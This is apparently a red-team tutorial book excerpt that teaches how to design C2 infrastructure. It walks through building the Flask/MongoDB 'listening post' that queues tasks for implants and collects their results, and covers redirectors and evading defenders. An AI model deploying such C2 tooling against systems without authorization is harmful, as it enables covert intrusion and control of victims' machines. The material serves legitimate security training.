# Introduction

Intro to the book contents and what to expect.

Command and Control (C2) of software implants is a fundamental part of any Red Team operation. Over the years, there has been a proliferation of C2 frameworks to aid with the task of setting up and controlling software implants in a target environment. These include names like [Empire](https://github.com/EmpireProject/Empire), [Cobalt Strike](https://www.cobaltstrike.com/), [Covenant](https://github.com/cobbr/Covenant), [Merlin](https://github.com/Ne0nd0g/merlin), [Mythic](https://github.com/its-a-feature/Mythic), [SILENTTRINITY](https://github.com/byt3bl33d3r/SILENTTRINITY), [PoshC2](https://github.com/nettitude/PoshC2), [Sliver](https://github.com/BishopFox/sliver) and many more. The list has grown so large that there is a dedicated effort to track the number of C2 frameworks released called [C2 Matrix](https://www.thec2matrix.com/). As a student of adversary tactics, it's an incredible time to learn from these frameworks and identify the qualities of a good implant. With the abundance of blog posts and conference talks on the topic of C2, it's an even better time to try your hand at building a C2 framework of your own. Knowing how the foundations of these C2 frameworks are built will arm you with the skills necessary to customize available tools for your own needs or have the benefit of a custom solution that is unknown to AV/EDR vendors. That foundational knowledge of C2 frameworks and implants is what this book aims to provide.

Looking at the list of open source C2 software, the most popular programming languages tend to be C#, Python, PowerShell and Go. The language of C++ is starting to see a slight bump, but at the time of writing this book, there is not a lot of representation and it's more difficult to find resources on the subject of writing a C2 implant in C++. There are several advantages to learning how to write a C2 implant in C++, the biggest ones being that it allows you to easily interface with the Windows API and the executables are generally harder to reverse engineer compared to implants written in C#, Python or PowerShell. Modern C++ also has a lot of interesting features that are worth applying to a subject like C2. This book will show you the ways in which you can start building C2 implants with modern C++, give you a basic framework to play with and provide a practical project in which to apply your programming skills.

The structure of the book starts with some theory on C2 framework design and fundamental principles. It follows up with a Python project to establish the C2 server or "listening post" and building out the major components of an implant in C++. Finally, we end with constructing a CLI client that can be used to easily interface with the listening post and implant.

The contents are as follows:

* Introduction
* Chapter 1: Designing a C2 Infrastructure
* Chapter 2: Establishing a Listening Post
* Chapter 3: Basic Implant & Tasking
* Chapter 4: Operator CLI Client
* Conclusion
* Special Thanks & Credits

All the source code used in this book is open source and available at the following GitHub repository: <https://github.com/shogunlab/building-c2-implants-in-cpp>

The audience for this book is primarily people new to implant development and those without a lot of C++ experience. I assume some prerequisite knowledge such as familiarity with basic software development, but I'll try to explain as much as possible. In a later Part 2, I intend to cover topics that are not aimed at the beginner level, but for this primer I want to establish a solid foundation that's simple/easy to get started with.

Lastly, I'd like to thank the following individuals and groups for serving as the inspiration for this book and giving me the skills to pursue this topic:

* [C++ Crash Course](https://nostarch.com/cppcrashcourse) author ([Josh Lospinoso](https://twitter.com/jalospinoso))
* [SpecterOps Red Team Operations](https://specterops.io/how-we-help/training-offerings/adversary-tactics-red-team-operations) course instructors ([Cody Thomas](https://twitter.com/its_a_feature_), [Matt Hand](https://twitter.com/matterpreter), [Will Schroeder](https://twitter.com/harmj0y), [Carlo Alcantara](https://twitter.com/carloalcan))
* [Silent Break Security Dark Side Ops: Malware Dev](https://silentbreaksecurity.com/training/malware-dev/) course instructors ([Trevor Alexander](https://twitter.com/culturedphish), [Nick Landers](https://twitter.com/monoxgas), [Will Pearce](https://twitter.com/moo_hax))

With that, I hope you enjoy the book and learn some new things along the way!

\--Steven Patterson ([@shogun\_lab](https://twitter.com/shogun_lab))


# Chapter 1: Designing a C2 Infrastructure

Discussion of C2 infrastructure concepts and design.

![](/files/-MNKa7R7XOt1OdP3zC94)

## Introduction

In this chapter, we'll be going over the foundational concepts of Command & Control (C2) software and best practices for design. Our goal in this section is to understand what a "good" C2 infrastructure looks like and make plans for a solid foundation that can be built upon with more advanced components.

## Basic C2 Setup

Let's start by discussing the design for a basic C2 setup. First, we'll want to have a server that will publish our tasks and receive the results of those tasks (also known as a "listening post"). Next, we want to have a program that will run on a target computer and make contact with our server periodically to find out what tasks to perform, execute those tasks, then respond back with the results (also known as an "implant"). Lastly, we'll want to have a client where an operator can easily create, manage and submit tasks. Tasks could include things like returning information about the computer/network the implant is running on, executing OS commands, enumerating processes/threads, injecting into another process, establishing persistence or stealing credentials for lateral movement. The flow of this setup looks like the diagram below:

![](/files/-MDqyqXqNERROL0JviYk)

There's a number of issues with our basic design in the above diagram. For one, it's a straightforward task for defenders to directly identify your listening post and take targeted action to disrupt the C2 channel. Secondly, it's not segmented, you're doing all your offensive activities through a single channel and from a single server. It's easy for defenders to take down your entire C2.

## Adding Resiliency

To make our basic setup more resilient, we can include another server that proxies communication from implants and forwards traffic along to the listening post, also known as a "redirector". With the inclusion of redirectors, you never need to expose the address of your listening post to the implant. Thereby denying this information to any defender who happens to capture/analyze your C2 communications. Another benefit is that you can have multiple redirector addresses in your implants and that way, if one of your redirectors gets taken down or blocked, your implant can simply fall back to using one of the others.

To address the issue of segmentation, you can have multiple listening posts responsible for handling different aspects of your operation. For instance, one way to segment the design is to have a server that handles day-to-day C2 communications and is for "hands on keyboard" type activities where you want instant feedback or "short haul" tasks. Then, you can have another server that would be for re-establishing access in the target network or "long haul" tasks. The idea being, you expect your noisier short haul channel to be taken down regularly and you can use your quieter long haul channel to regain access. Ideally, your long haul C2 channel will have different network/host indicators as well. The flow of this more resilient setup looks like the diagram below:

![](/files/-MDyqDk4cBHSM4Hfwh0y)

For this book, we're going to be focusing on building a simple setup with just a listening post, implant and an operator client. A section on adding features that turn this project into something more than a basic framework is planned for a Part 2. But, in this primer, we're going to be keeping things simple.

## C2 Implant & Listening Post Features

Now that we understand the overall layout of a C2 infrastructure, it's time to go into the details of the listening post and implant features for the basic setup we're starting with. The listening post should allow users to submit tasks and publish them for retrieval by the implant. It should also let users read tasks that have been submitted. Our initial C2 channel will be over HTTP, so the listening post should publish tasks after receiving a GET request from the implant and ingest task results from an implant POST request. We can implement these actions as a REST API to ensure it's easy to integrate with a front-end web framework or CLI client. As for our implant, it should be capable of asynchronous operations so it can continue to communicate with the listening post as it performs tasking. The types of tasks will include the following:

* Configure implant options
* Ping
* Execute system commands
* Gather process thread information

Finally, we'll want a nice way for us to interact with our listening post as an operator. So, we'll build an operator CLI client that can speak to the listening post. Our command line client will be basic and let us get started with a simple interface that's quick to build. We want it to be capable of allowing an operator to provide new tasks, view a history of sent tasks and fetch results of tasks that were sent.

![](/files/-MDh_8IBOI2SIDLmFhmi)

Our complete C2 framework will be called **Natsumi** and involve the following major components:

* **Skytree:** Our HTTP listening post.
* **RainDoll:** Our C2 implant in C++.
* **Fireworks:** Our operator CLI client.

## Conclusion

With this chapter, we've got an idea of what capabilities a basic C2 framework should provide. We also laid out our plans for the C2 project we'll be building in this book and the features we want it to have. Hopefully, you're excited to get your feet wet and start building things. In Chapter 2, we'll begin our work with a listening post and see how simple it can be to design a REST API for our implants to use. See you in the next chapter!

## Further Reading & Next Steps

To learn more about designing a C2 infrastructure, consider taking a look at the following blog articles and resources:

* Designing Effective Covert Red Team Attack Infrastructure by [Jeff Dimmock](https://twitter.com/bluscreenofjeff)\
  &#x20;(<https://posts.specterops.io/designing-effective-covert-red-team-attack-infrastructure-767d4289af43>)
* Modern Red Team Infrastructure by Brady Bloxham (<https://silentbreaksecurity.com/modern-red-team-infrastructure/>)
* Red Team Ops with Cobalt Strike (2 of 9): Infrastructure by [Raphael Mudge](https://twitter.com/armitagehacker) (<https://www.youtube.com/watch?v=5gwEMocFkc0>)
* Red Team Infrastructure Wiki by [Jeff Dimmock](https://twitter.com/bluscreenofjeff) (<https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki>)


# Chapter 2: Establishing a Listening Post

Building a basic HTTP listening post, REST API & database.

![](/files/-MDhbgjAciKlaj0V9Zkc)

{% file src="/files/-ML5zRG105McWVPYUp57" %}
Book Source Code
{% endfile %}

## Using the Source Code

This is the chapter where we'll begin writing all our code. You can download the source files for this primer using the link at the top of the page labeled "Book Source Code". Inside, you'll find the final project code and incremental versions in various "chapter" folders. You can follow along by writing the code as you go, or just jump in at various points by using the chapter folder projects.

If you notice something that could be improved and want to submit a pull request or just want to browse the source code on GitHub, the repository can be found here: <https://github.com/shogunlab/building-c2-implants-in-cpp>

## Introduction

Our listening post known as **Skytree** is going to be built with [Flask](https://flask.palletsprojects.com/en/1.1.x/), a REST API plugin called [flask\_restful ](https://flask-restful.readthedocs.io/en/latest/)and we'll use a [MongoDB](https://www.mongodb.com/) database for storage. At a high level, it will need to be capable of serving tasks to an implant, storing a record of tasks that were sent and receiving the results of those tasks. The reason why I chose Flask to build the REST API is because I'm comfortable with programming in Python and it's quick to get started with. Additionally, I think that the source code is pretty easy to read and understand if you're just starting out. I decided to use MongoDB for storage because I'm familiar with it and wanted to use something that would easily ingest JSON results from the implant. I don't have any strong technical reasons for choosing MongoDB, so feel free to modify the source code to use an SQL database if you'd prefer that instead.

Let's take our first step and write out the starting code for our HTTP listening post. Download the source code for this book and unzip it. We're going to be installing a number of Python packages, so I'd recommend using a tool such as [virtualenv](https://virtualenv.pypa.io/en/latest/installation.html) to have a clean environment for installation. Navigate to the directory called "**chapter\_2-1**". Go to the "**Skytree**" folder in a terminal window and run `pip install wheel`, then the `pip install -r requirements.txt` command to ensure you have the Python library prerequisites for the project installed. For the database, you'll need to install the [MongoDB Community Server](https://www.mongodb.com/try/download/community). You can read a detailed guide on installing it [here](https://docs.mongodb.com/manual/tutorial/install-mongodb-on-windows/) if you run into any issues. Then, open the "**Skytree**" folder in your preferred code editor and find the file called `listening_post.py`. You'll see the following contents:

{% tabs %}
{% tab title="listening\_post.py" %}

```python
import json
import resources

from flask import Flask
from flask_restful import Api
from database.db import initialize_db

# Initialize our Flask app
app = Flask(__name__)

# Configure our database on localhost
app.config['MONGODB_SETTINGS'] = {
    'host': 'mongodb://localhost/skytree'
}

# Initialize our database
initialize_db(app)

# Initialize our API
api = Api(app)

# Define the routes for each of our resources
api.add_resource(resources.Tasks, '/tasks', endpoint='tasks')

# Start the Flask app in debug mode
if __name__ == '__main__':
    app.run(debug=True)

```

{% endtab %}
{% endtabs %}

## Database & Models Starting File

Let's go over each of the major code blocks in the above file. We start by initializing the Flask app and the database:

```python
import json
import resources

from flask import Flask
from flask_restful import Api
from database.db import initialize_db

# Initialize our Flask app
app = Flask(__name__)

# Configure our database on localhost
app.config['MONGODB_SETTINGS'] = {
    'host': 'mongodb://localhost/skytree'
}

# Initialize our database
initialize_db(app)
```

Go to the "database" folder and you'll see two files:

* db.py
* models.py

Open `db.py` and you'll see the following:

{% tabs %}
{% tab title="db.py" %}

```python
from flask_mongoengine import MongoEngine

# Initialize MongoEngine and our database
db = MongoEngine()

def initialize_db(app):
    db.init_app(app)
```

{% endtab %}
{% endtabs %}

The above code will initialize the database and it takes our Flask app as input. Open up the `models.py` file and you'll see where we define our models:

{% tabs %}
{% tab title="models.py" %}

```python
from database.db import db

# Define Task object in database
class Task(db.DynamicDocument):
    task_id = db.StringField(required=True)
```

{% endtab %}
{% endtabs %}

The above code tells the database about each field we're storing and the kind of data to expect. For simplicity, we're using a "dynamic document" so that we don't need to specify every field. In the task model, we're requiring that an ID be provided to ensure we can keep track of each task and map results back. Each time we add a new resource for the REST API, we'll want to put a corresponding model specification in this file.

## REST API & Resources

To facilitate testing the REST API we're building, we'll use a tool called [Postman](https://www.postman.com/downloads/). You do not need an account to use the tool, just select the "skip" option when you first run the application. I find that this tool is useful for experimenting with APIs and easily interacting with them. I've included a Postman Collection file for reference called "Skytree\_REST\_API.postman\_collection.json" in the root directory of the book source code files. You can import this collection and use it to follow along with the API requests referred to in this chapter. Alternatively, I've included PowerShell snippets to make API requests in-case you prefer not to use Postman.

Now, let's go back to the `listening_post.py` file. In the next block we set up the REST API and specify the resources that map to each of the API endpoints:

```python
# Initialize our API
api = Api(app)

# Define the routes for each of our resources
api.add_resource(resources.Tasks, '/tasks', endpoint='tasks')
```

The "/tasks" endpoint will be responsible for handling creation of tasks and displaying existing tasks. We'll go into more detail about this resource shortly, but we're just defining the route here.

Lastly, in the final block for our listening\_post.py file, we start the Flask app in debug mode:

```python
# Start the Flask app in debug mode
if __name__ == '__main__':
    app.run(debug=True)
```

To validate that everything is working as expected with our initial code, try running the command `python listening_post.py` from inside the "**Skytree**" folder and then in a browser, visit the following address <http://127.0.0.1:5000/tasks>. You should see a short message that says "GET success!".

Let's add in the behavior for our "tasks" resource next. Open up the file called `resources.py` and you'll see the following contents:

{% tabs %}
{% tab title="resources.py" %}

```python
import uuid
import json

from flask import request, Response
from flask_restful import Resource
from database.db import initialize_db
from database.models import Task


class Tasks(Resource):
    # ListTasks
    def get(self):
        # Add behavior for GET here
        return "GET success!", 200

    # AddTasks
    def post(self):
        # Add behavior for POST here
        return "POST success!", 200
```

{% endtab %}
{% endtabs %}

### Tasks API

We'll define the behavior for GET requests first. Let's get all the Task objects that we have in the database, convert them to JSON format and put them in a variable. Then, we'll return that in the GET response:

```python
# ListTasks
def get(self):
    # Get all the task objects and return them to the user
    tasks = Task.objects().to_json()
    return Response(tasks, mimetype="application/json", status=200)
```

For the POST, let's get the JSON payload from the request body first and find out how many Task objects are in the request. Next, we'll load it into a JSON object and then for each Task object, we'll add a UUID for tracking and save it to the database. Finally, we store everything that comes after "task\_type" and "task\_id" in a "task\_options" array so we can store it in a TaskHistory object later on. We return a response that includes the Task objects that were added to the database.

```python
# AddTasks
def post(self):
    # Parse out the JSON body we want to add to the database
    body = request.get_json()
    json_obj = json.loads(json.dumps(body))
    # Get the number of Task objects in the request
    obj_num = len(body)
    # For each Task object, add it to the database
    for i in range(len(body)):
        # Add a task UUID to each task object for tracking
        json_obj[i]['task_id'] = str(uuid.uuid4())
        # Save Task object to database
        Task(**json_obj[i]).save()
        # Load the options provided for the task into an array for tracking in history
        task_options = []
        for key in json_obj[i].keys():
            # Anything that comes after task_type and task_id is treated as an option
            if (key != "task_type" and key != "task_id"):
                task_options.append(key + ": " + json_obj[i][key])
    # Return the last Task objects that were added
    return Response(Task.objects.skip(Task.objects.count() - obj_num).to_json(),
                    mimetype="application/json",
                    status=200)
```

Once you're done adding the code for POST, your `resources.py` file should look like this:

{% tabs %}
{% tab title="resources.py" %}

```python
import uuid
import json

from flask import request, Response
from flask_restful import Resource
from database.db import initialize_db
from database.models import Task


class Tasks(Resource):
    # ListTasks
    def get(self):
        # Get all the task objects and return them to the user
        tasks = Task.objects().to_json()
        return Response(tasks, mimetype="application/json", status=200)
    
    # AddTasks
    def post(self):
        # Parse out the JSON body we want to add to the database
        body = request.get_json()
        json_obj = json.loads(json.dumps(body))
        # Get the number of Task objects in the request
        obj_num = len(body)
        # For each Task object, add it to the database
        for i in range(len(body)):
            # Add a task UUID to each task object for tracking
            json_obj[i]['task_id'] = str(uuid.uuid4())
            # Save Task object to database
            Task(**json_obj[i]).save()
            # Load the options provided for the task into an array for tracking in history
            task_options = []
            for key in json_obj[i].keys():
                # Anything that comes after task_type and task_id is treated as an option
                if (key != "task_type" and key != "task_id"):
                    task_options.append(key + ": " + json_obj[i][key])
        # Return the last Task objects that were added
        return Response(Task.objects.skip(Task.objects.count() - obj_num).to_json(),
                        mimetype="application/json",
                        status=200)

```

{% endtab %}
{% endtabs %}

Let's test out our AddTasks API. Start the listening post with the following:

```python
python listening_post.py
```

Once the listening post is running, make the following POST request with the following format (we're starting out with a simple "ping" task):

```http
POST /tasks HTTP/1.1
Host: localhost:5000
Content-Type: application/json

[
	{
		"task_type":"ping"
	}
]
```

You can also make the above POST request with the following PowerShell command lines:

```python
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Content-Type", "application/json")

$body = "[`n	{`n		`"task_type`":`"ping`"`n	}`n]"

$response = Invoke-RestMethod 'http://localhost:5000/tasks' -Method 'POST' -Headers $headers -Body $body
$response | ConvertTo-Json
```

You should get back a response that looks something like this:

```javascript
[
    {
        "_id": {
            "$oid": "5f37310f6adea94a3b8bdc3c"
        },
        "task_id": "26fdb35d-1d86-428c-90da-d2460a332c28",
        "task_type": "ping"
    }
]
```

Now, let's test out the ListTasks API by visiting the endpoint (<http://127.0.0.1:5000/tasks>) in a browser. You should get back a response that looks something like this:

```javascript
[
    {
        "_id": {
            "$oid": "5f37310f6adea94a3b8bdc3c"
        },
        "task_id": "26fdb35d-1d86-428c-90da-d2460a332c28",
        "task_type": "ping"
    }
]
```

Feel free to play around with the ListTasks and AddTasks APIs. You can add multiple ping tasks and you'll see that each one gets added to the database, then listed in a JSON response when you call ListTasks:

```javascript
[
    {
        "_id": {
            "$oid": "5f37310f6adea94a3b8bdc3c"
        },
        "task_id": "26fdb35d-1d86-428c-90da-d2460a332c28",
        "task_type": "ping"
    },
    {
        "_id": {
            "$oid": "5f3731c46adea94a3b8bdc3d"
        },
        "task_id": "aa66f366-e699-44ae-a75b-2be72b62da2d",
        "task_type": "ping"
    },
    {
        "_id": {
            "$oid": "5f3731c76adea94a3b8bdc3e"
        },
        "task_id": "fe9b1fa8-9ff4-4b41-9df2-012084e09a60",
        "task_type": "ping"
    }
]
```

### Results API

You can find the complete contents of the project so far in the folder called "**chapter\_2-2**". We'll move on now to adding our results APIs, ListResults and AddResults. First, write the following code to define our Result object in the database:

{% tabs %}
{% tab title="models.py" %}

```python
from database.db import db

# Define Task object in database
class Task(db.DynamicDocument):
    task_id = db.StringField(required=True)

# Define Result object in database
class Result(db.DynamicDocument):
    result_id = db.StringField(required=True)
```

{% endtab %}
{% endtabs %}

Next, we'll edit our `resources.py` file to import the Result database object:

{% tabs %}
{% tab title="resources.py" %}

```python
from database.models import Task, Result
```

{% endtab %}
{% endtabs %}

Now, we can start adding the logic for the Result APIs with the following boilerplate:

```python
class Results(Resource):
    # ListResults
    def get(self):
        # Add behavior for GET here
        return "GET success!", 200

    # AddResults
    def post(self):
        # Add behavior for POST here
        return "POST success!", 200

```

The ListResults API can be built by adding the following code to return results as a JSON response to the user:

```python
# ListResults
def get(self):
    # Get all the result objects and return them to the user
    results = Result.objects().to_json()
    return Response(results, mimetype="application.json", status=200)
```

You'll note that the above code is very similar to the ListTasks API. We'll start building the AddResults API by handling the POST request. We first check if the results returned are empty and if they're populated, we parse out the JSON in the request body. We save each Result object to the database and get the list of Task objects waiting to be served to the implant. We delete the Task objects we're serving to the implant so that tasks are never executed twice. Then, we send the Task objects to the implant in the POST request response:

```python
# AddResults
def post(self):
    # Check if results from the implant are populated
    if str(request.get_json()) != '{}':
        # Parse out the result JSON that we want to add to the database
        body = request.get_json()
        print("Received implant response: {}".format(body))
        json_obj = json.loads(json.dumps(body))
        # Add a result UUID to each result object for tracking
        json_obj['result_id'] = str(uuid.uuid4())
        Result(**json_obj).save()
        # Serve latest tasks to implant
        tasks = Task.objects().to_json()
        # Clear tasks so they don't execute twice
        Task.objects().delete()
        return Response(tasks, mimetype="application/json", status=200)
```

We add an "else" check to handle cases where no results are returned and we will simply return the Task objects waiting, then delete them:

```python
else:
    # Serve latest tasks to implant
    tasks = Task.objects().to_json()
    # Clear tasks so they don't execute twice
    Task.objects().delete()
    return Response(tasks, mimetype="application/json", status=200)
```

When you're all done, your `resources.py` file should look like this:

```python
import uuid
import json

from flask import request, Response
from flask_restful import Resource
from database.db import initialize_db
from database.models import Task, Result


class Tasks(Resource):
    # ListTasks
    def get(self):
        # Get all the task objects and return them to the user
        tasks = Task.objects().to_json()
        return Response(tasks, mimetype="application/json", status=200)

    # AddTasks
    def post(self):
        # Parse out the JSON body we want to add to the database
        body = request.get_json()
        json_obj = json.loads(json.dumps(body))
        # Get the number of Task objects in the request
        obj_num = len(body)
        # For each Task object, add it to the database
        for i in range(len(body)):
            # Add a task UUID to each task object for tracking
            json_obj[i]['task_id'] = str(uuid.uuid4())
            # Save Task object to database
            Task(**json_obj[i]).save()
            # Load the options provided for the task into an array for tracking in history
            task_options = []
            for key in json_obj[i].keys():
                # Anything that comes after task_type and task_id is treated as an option
                if (key != "task_type" and key != "task_id"):
                    task_options.append(key + ": " + json_obj[i][key])
        # Return the last Task objects that were added
        return Response(Task.objects.skip(Task.objects.count() - obj_num).to_json(),
                        mimetype="application/json",
                        status=200)

class Results(Resource):
    # ListResults
    def get(self):
        # Get all the result objects and return them to the user
        results = Result.objects().to_json()
        return Response(results, mimetype="application.json", status=200)

    # AddResults
    def post(self):
        # Check if results from the implant are populated
        if str(request.get_json()) != '{}':
            # Parse out the result JSON that we want to add to the database
            body = request.get_json()
            print("Received implant response: {}".format(body))
            json_obj = json.loads(json.dumps(body))
            # Add a result UUID to each result object for tracking
            json_obj['result_id'] = str(uuid.uuid4())
            Result(**json_obj).save()
            # Serve latest tasks to implant
            tasks = Task.objects().to_json()
            # Clear tasks so they don't execute twice
            Task.objects().delete()
            return Response(tasks, mimetype="application/json", status=200)
        else:
            # Serve latest tasks to implant
            tasks = Task.objects().to_json()
            # Clear tasks so they don't execute twice
            Task.objects().delete()
            return Response(tasks, mimetype="application/json", status=200)
```

The last piece we need to complete the Results APIs are to open up the "**listening\_post.py**" file and add the following code, which associates the Results resource with the "/results" endpoint:

```python
# Define the routes for each of our resources
api.add_resource(resources.Tasks, '/tasks', endpoint='tasks')
api.add_resource(resources.Results, '/results')
```

You can test the AddResults API by sending a POST request with the following mock implant result:

```http
POST /results HTTP/1.1
Host: localhost:5000
Content-Type: application/json

{
    "c839c32a-9338-491b-9d57-30a4bfc4a2e8": {
        "contents": "PONG!",
        "success": "true"
    }
}
```

The above POST request can be made with the following PowerShell command lines:

```python
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Content-Type", "application/json")

$body = "{
`n    `"c839c32a-9338-491b-9d57-30a4bfc4a2e8`": {
`n        `"contents`": `"PONG!`",
`n        `"success`": `"true`"
`n    }
`n}"

$response = Invoke-RestMethod 'http://localhost:5000/results' -Method 'POST' -Headers $headers -Body $body
$response | ConvertTo-Json
```

You'll get a response with an empty array if you haven't added any new tasks or you'll get back some tasks if you did add some before calling the AddResults API:

```http
[]
```

```javascript
[
    {
        "_id": {
            "$oid": "5f37540c87f8d76f8e578cff"
        },
        "task_id": "3bfd8e20-00f2-479d-b42f-f8af337b8aae",
        "task_type": "ping"
    }
]
```

Navigate to the <http://localhost:5000/results> endpoint and you'll see the mock results from the Ping task stored:

```python
[
  {
    "_id": {
      "$oid": "5f9ee7b276f94422b607e08e"
    },
    "result_id": "13b47ed9-35f2-4e36-ae3e-2a683eaca0fc",
    "c839c32a-9338-491b-9d57-30a4bfc4a2e8": {
      "contents": "PONG!",
      "success": "true"
    }
  }
]
```

### Task History API

You'll find the project code we've created so far in the folder called "**chapter-2-3**". The final API we will be adding is ListHistory, this will return all the tasks that were successfully served to the implant and their associated results (when they are received from the implant). Again, let's start with defining the TaskHistory object in our `models.py` file:

{% tabs %}
{% tab title="models.py" %}

```python
from database.db import db

# Define Task object in database
class Task(db.DynamicDocument):
    task_id = db.StringField(required=True)

# Define Result object in database
class Result(db.DynamicDocument):
    result_id = db.StringField(required=True)

# Define TaskHistory object in database
class TaskHistory(db.DynamicDocument):
    task_object = db.StringField()
```

{% endtab %}
{% endtabs %}

Add "TaskHistory" as an import at the top of the `resources.py` file:

{% tabs %}
{% tab title="resources.py" %}

```python
from database.models import Task, Result, TaskHistory
```

{% endtab %}
{% endtabs %}

Next, we'll modify our AddTasks API to copy tasks that are sent to the implant into our TaskHistory collection:

```python
# Load the options provided for the task into an array for tracking in history
task_options = []
for key in json_obj[i].keys():
    # Anything that comes after task_type and task_id is treated as an option
    if (key != "task_type" and key != "task_id"):
        task_options.append(key + ": " + json_obj[i][key])
# Add to task history
TaskHistory(
    task_id=json_obj[i]['task_id'],
    task_type=json_obj[i]['task_type'],
    task_object=json.dumps(json_obj),
    task_options=task_options,
    task_results=""
).save()
```

Now, add some scaffolding for our ListHistory API in the `resources.py` file:

```python
class History(Resource):
    # ListHistory
    def get(self):
        # Add behavior for GET here
        return "GET success!", 200
```

The first thing we'll do in this API is get all the TaskHistory objects and keep them in a variable to return later and store any results we have in a collection so we can match them with tasks:

```python
# ListHistory
def get(self):
    # Get all the task history objects so we can return them to the user
    task_history = TaskHistory.objects().to_json()
    # Update any served tasks with results from implant
    # Get all the result objects and return them to the user
    results = Result.objects().to_json()
    json_obj = json.loads(results)
```

Next, we format each result to be more friendly to us for consumption and display them with a `task_id` that has a matching `task_results` parameters:

```python
# Format each result from the implant to be more friendly for consumption/display
result_obj_collection = []
for i in range(len(json_obj)):
    for field in json_obj[i]:
        result_obj = {
            "task_id": field,
            "task_results": json_obj[i][field]
        }
        result_obj_collection.append(result_obj)
```

Finally, we search for any results with a task ID that matches tasks that we served previously and insert them into the corresponding TaskHistory object, then we return the TaskHistory objects to the user:

```python
# For each result in the collection, check for a corresponding task ID and if
# there's a match, update it with the results. This is hacky and there's probably
# a more elegant solution to update tasks with their results when they come in...
for result in result_obj_collection:
    if TaskHistory.objects(task_id=result["task_id"]):
        TaskHistory.objects(task_id=result["task_id"]).update_one(
            set__task_results=result["task_results"])
return Response(task_history, mimetype="application/json", status=200)
```

There's probably a more elegant and simple way to do the above, but for now this works for our purposes.

The full `resources.py` file should look like the following:

{% tabs %}
{% tab title="resources.py" %}

```python
import uuid
import json

from flask import request, Response
from flask_restful import Resource
from database.db import initialize_db
from database.models import Task, Result, TaskHistory


class Tasks(Resource):
    # ListTasks
    def get(self):
        # Get all the task objects and return them to the user
        tasks = Task.objects().to_json()
        return Response(tasks, mimetype="application/json", status=200)

    # AddTasks
    def post(self):
        # Parse out the JSON body we want to add to the database
        body = request.get_json()
        json_obj = json.loads(json.dumps(body))
        # Get the number of Task objects in the request
        obj_num = len(body)
        # For each Task object, add it to the database
        for i in range(obj_num):
            # Add a task UUID to each task object for tracking
            json_obj[i]['task_id'] = str(uuid.uuid4())
            # Save Task object to database
            Task(**json_obj[i]).save()
            # Load the options provided for the task into an array for tracking in history
            task_options = []
            for key in json_obj[i].keys():
                # Anything that comes after task_type and task_id is treated as an option
                if (key != "task_type" and key != "task_id"):
                    task_options.append(key + ": " + json_obj[i][key])
            # Add to task history
            TaskHistory(
                task_id=json_obj[i]['task_id'],
                task_type=json_obj[i]['task_type'],
                task_object=json.dumps(json_obj),
                task_options=task_options,
                task_results=""
            ).save()
        # Return the last Task objects that were added
        return Response(Task.objects.skip(Task.objects.count() - obj_num).to_json(),
                        mimetype="application/json",
                        status=200)


class Results(Resource):
    # ListResults
    def get(self):
        # Get all the result objects and return them to the user
        results = Result.objects().to_json()
        return Response(results, mimetype="application.json", status=200)

    # AddResults
    def post(self):
        # Check if results from the implant are populated
        if str(request.get_json()) != '{}':
            # Parse out the result JSON that we want to add to the database
            body = request.get_json()
            print("Received implant response: {}".format(body))
            json_obj = json.loads(json.dumps(body))
            # Add a result UUID to each result object for tracking
            json_obj['result_id'] = str(uuid.uuid4())
            Result(**json_obj).save()
            # Serve latest tasks to implant
            tasks = Task.objects().to_json()
            # Clear tasks so they don't execute twice
            Task.objects().delete()
            return Response(tasks, mimetype="application/json", status=200)
        else:
            # Serve latest tasks to implant
            tasks = Task.objects().to_json()
            # Clear tasks so they don't execute twice
            Task.objects().delete()
            return Response(tasks, mimetype="application/json", status=200)


class History(Resource):
    # ListHistory
    def get(self):
        # Get all the task history objects so we can return them to the user
        task_history = TaskHistory.objects().to_json()
        # Update any served tasks with results from implant
        # Get all the result objects and return them to the user
        results = Result.objects().to_json()
        json_obj = json.loads(results)
        # Format each result from the implant to be more friendly for consumption/display
        result_obj_collection = []
        for i in range(len(json_obj)):
            for field in json_obj[i]:
                result_obj = {
                    "task_id": field,
                    "task_results": json_obj[i][field]
                }
                result_obj_collection.append(result_obj)
        # For each result in the collection, check for a corresponding task ID and if
        # there's a match, update it with the results. This is hacky and there's probably
        # a more elegant solution to update tasks with their results when they come in...
        for result in result_obj_collection:
            if TaskHistory.objects(task_id=result["task_id"]):
                TaskHistory.objects(task_id=result["task_id"]).update_one(
                    set__task_results=result["task_results"])
        return Response(task_history, mimetype="application/json", status=200)

```

{% endtab %}
{% endtabs %}

The last thing to add in order to have a fully functional ListHistory API is to add the following in the `listening_post.py` file:

{% tabs %}
{% tab title="listening\_post.py" %}

```python
# Define the routes for each of our resources
api.add_resource(resources.Tasks, '/tasks', endpoint='tasks')
api.add_resource(resources.Results, '/results')
api.add_resource(resources.History, '/history')
```

{% endtab %}
{% endtabs %}

That's it! You'll find the complete Skytree listening post project in the folder "**chapter\_2-4**". You can get a list of the task history by visiting the ListHistory endpoint (<http://127.0.0.1:5000/history>). It'll be empty if you haven't made any AddTask requests. If you make an AddTask request now with a ping task, then call ListHistory, you should get back a response that looks like this:

```python
[
    {
        "_id": {
            "$oid": "5f3760aa50954f9c61397b8e"
        },
        "task_object": "[{\"task_type\": \"ping\", \"task_id\": \"59906de7-8739-4738-a69d-864f9a37cb3b\"}]",
        "task_id": "59906de7-8739-4738-a69d-864f9a37cb3b",
        "task_type": "ping",
        "task_options": [],
        "task_results": ""
    }
]
```

You'll see that the TaskHistory object consists of the original JSON task object that was sent to the implant and the task options supplied. When the implant returns a result, the `task_results` field will be updated with the result contents.

## Conclusion

Congrats on a job well done! If you've reached this point, you now have a working HTTP listening post that our implant can talk to! We can use this to send new tasks to our implant and get back results of the tasks we send. We also have the ability to associate specific tasks with results and display a history of the tasks that operators have sent.&#x20;

It's worth restating that this is a very basic listening post, but it covers the core elements that a command and control framework should offer. While you're starting out, it's helpful to keep things simple and work on more advanced techniques/features when you're confident in the basics. Some examples of what could be built in the future include:

* Authentication/authorization controls
* User management APIs
* Listening post initial setup/install script

In the next chapter, we'll get out feet wet with some C++ code and deploy our implant to complete the next major component of our C2 project.

## Further Reading & Next Steps

To learn more about building C2 listening posts, see the following resources:

* SharpC2 - Episode 2 \[TeamServer HTTP Comm Module] by [Rasta Mouse](https://twitter.com/_rastamouse) (<https://www.youtube.com/watch?v=VGs5RPtWlB0>)
